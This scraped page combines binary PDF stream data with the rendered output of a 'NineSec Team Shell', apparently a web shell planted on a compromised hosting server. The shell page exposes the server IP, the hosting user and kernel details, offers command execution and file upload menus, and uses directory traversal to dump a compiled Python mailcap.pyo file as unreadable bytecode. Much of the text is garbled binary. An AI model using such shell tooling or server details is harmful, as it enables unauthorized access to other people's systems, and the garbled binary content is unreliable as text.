%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  �a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q�f ^ u>� $k�( �H l�EW o W  %l d] 6 ] - L  > 9 t* y 4� b 5 Q\ \�v U  2c 3  c qM�= |  IT: S � |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " �3 }$jH q w bx B" < 5b }%�+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx�.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f�d v*� ' i � G j * cB� zi  _  j z[ 7; 2 -  zZ  f V � z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3� l� ]u b-5 Fwm z zp)M ) jO q� u q  E K l 7  [[ y Xg e ~ , 9 � k; +ny  )s=9) � u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w� e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, � 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 217.21.91.109  /  Your IP : 216.73.216.4
Web Server : LiteSpeed
System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u903744608 ( 903744608)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /etc/fonts/../my.cnf.d/../../../opt/../../usr/lib64/python2.7/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/fonts/../my.cnf.d/../../../opt/../../usr/lib64/python2.7/mailcap.pyo
�
zfc@s�dZddlZddlZddlZddgZejd�jZdefd��YZ	d�Z
d	�Zd
�Zd�Z
d�Zd
dgd�Zdd�Zgd�Zd�Zd�Zd�Zedkr�e�ndS(s%Mailcap file handling.  See RFC 1524.i����Ntgetcapst	findmatchs[^\xa1-\xff\w@+=:,./-]tUnsafeMailcapInputcBseZdZRS(s)Warning raised when refusing unsafe input(t__name__t
__module__t__doc__(((s/usr/lib64/python2.7/mailcap.pyRscCs�i}x�t�D]�}yt|d�}Wntk
r?qnX|�t|�}WdQXxE|j�D]7\}}||kr�|||<qf|||||<qfWqW|S(s�Return a dictionary containing the mailcap database.

    The dictionary maps a MIME type (in all lowercase, e.g. 'text/plain')
    to a list of dictionaries corresponding to mailcap entries.  The list
    collects all the entries for that MIME type from all available mailcap
    files.  Each dictionary contains key-value pairs for that MIME type,
    where the viewing command is stored with the key "view".

    trN(tlistmailcapfilestopentIOErrortreadmailcapfilet	iteritems(tcapstmailcaptfptmorecapstkeytvalue((s/usr/lib64/python2.7/mailcap.pyRs


cCsmdtjkr.tjd}|jd�}n;dtjkrMtjd}nd}|ddddg}|S(	s7Return a list of all mailcap files found on the system.tMAILCAPSt:tHOMEt.s	/.mailcaps/etc/mailcaps/usr/etc/mailcaps/usr/local/etc/mailcap(tostenvirontsplit(tstrtmailcapsthome((s/usr/lib64/python2.7/mailcap.pyR+s

cCs;i}x.|j�}|sPn|ddks	|j�dkrGq	n|}x=|ddkr�|j�}|s{d}n|d |}qPWt|�\}}|o�|s�q	n|jd�}x.tt|��D]}||j�||<q�Wdj|�j�}||kr&||j|�q	|g||<q	W|S(s�Read a mailcap file and return a dictionary keyed by MIME type.

    Each MIME type is mapped to an entry consisting of a list of
    dictionaries; the list will contain more than one such dictionary
    if a given MIME type appears more than once in the mailcap file.
    Each dictionary contains key-value pairs for that MIME type, where
    the viewing command is stored with the key "view".
    it#ti����s\
s
t/(	treadlinetstript	parselineRtrangetlentjointlowertappend(RRtlinetnextlineRtfieldsttypestj((s/usr/lib64/python2.7/mailcap.pyR
>s0	"	c
Cs g}dt|�}}x?||krZt|||�\}}|j|�|d}qWt|�dkrqdS|d|d|d}}}i|d6}xu|D]m}|jd�}|dkr�|}d}	n$|| j�}||dj�}	||krq�|	||<q�W||fS(	s�Parse one entry in a mailcap file and return a dictionary.

    The viewing command is stored as the value with the key "view",
    and the rest of the fields produce key-value pairs in the dict.
    iiitviewt=RN(NN(R#t
parsefieldR&tNonetfindR (
R'R)titntfieldRR,tresttfkeytfvalue((s/usr/lib64/python2.7/mailcap.pyR!ds*
 

	cCsm|}xM||krU||}|dkr/Pq	|dkrH|d}q	|d}q	W|||!j�|fS(s/Separate one key-value pair in a mailcap entry.t;s\ii(R (R'R1R2tstarttc((s/usr/lib64/python2.7/mailcap.pyR.�s

R,s	/dev/nullc
Cs�t|�r-d|f}tj|t�dSt|||�}x�|D]�}d|kr�t|d||�}|dkr�qFn|r�tj|�dkr�qFq�nt|||||�}	|	dk	rF|	|fSqFWdS(sFind a match for a mailcap entry.

    Return a tuple containing the command line, and the mailcap entry
    used; (None, None) if no match is found.  This may invoke the
    'test' command of several matching entries before deciding which
    entry to use.

    sHRefusing to use mailcap with filename %r. Use a safe temporary filename.ttestiN(NN(NN(	t_find_unsafetwarningstwarnRR/tlookuptsubstRtsystem(
RtMIMEtypeRtfilenametplisttmsgtentriesteR:tcommand((s/usr/lib64/python2.7/mailcap.pyR�s 	

	cCs�g}||kr#|||}n|jd�}|dd}||kr]|||}n|dk	r�t|d�|�}n|S(NRis/*cSs
||kS(N((RFR((s/usr/lib64/python2.7/mailcap.pyt<lambda>�R(RR/tfilter(RRARREt	MIMEtypes((s/usr/lib64/python2.7/mailcap.pyR>�scCs�d}dt|�}}x�||kr�||}|d}|dkr|dkrr|||d!}|d}n||}q||}|d}|dkr�||}q|dkr�||}q|dkrt|�r�d|f}tj|t�dS||}q|d	kr�|}	x*||krI||d
krI|d}q W||	|!}
|d}t|
|�}t|�r�d||
f}tj|t�dS||}q|d|}qW|S(NRiit%s\tstts9Refusing to substitute MIME type %r into a shell command.t{t}s=Refusing to substitute parameter %r (%s) into a shell command(R#R;R<R=RR/t	findparam(R3RARBRCtresR1R2R9RDR8tnametparam((s/usr/lib64/python2.7/mailcap.pyR?�sH












cCsO|j�d}t|�}x,|D]$}|| j�|kr#||Sq#WdS(NR-R(R%R#(RRRCR2tp((s/usr/lib64/python2.7/mailcap.pyRP�s
c	Cs�ddl}t�}|jds0t|�dSx�tdt|j�d�D]�}|j||d!}t|�dkr�dGHdS|d}|d}t||d|�\}}|s�dGtGHqLdG|GHtj	|�}|rLd	G|GHqLqLWdS(
Ni����iis"usage: mailcap [MIMEtype file] ...iR,sNo viewer found fors
Executing:sExit status:(
tsysRtargvtshowR"R#RttypeRR@(	RURR1targsRAtfileRGRFtsts((s/usr/lib64/python2.7/mailcap.pyR:�s&	

"

	cCs�dGHxt�D]}d|GHqWH|s5t�}ndGHH|j�}|j�xg|D]_}|GH||}xG|D]?}|j�}|j�x|D]}d|G||GHq�WHqtWqXWdS(NsMailcap files:s	sMailcap entries:s  %-15s(RRtkeystsort(RtfntckeysRXRERFR\tk((s/usr/lib64/python2.7/mailcap.pyRWs&






t__main__(RRR<tret__all__tcompiletsearchR;tWarningRRRR
R!R.RR/R>R?RPR:RWR(((s/usr/lib64/python2.7/mailcap.pyt<module>s&			&		)			

NineSec Team - 2022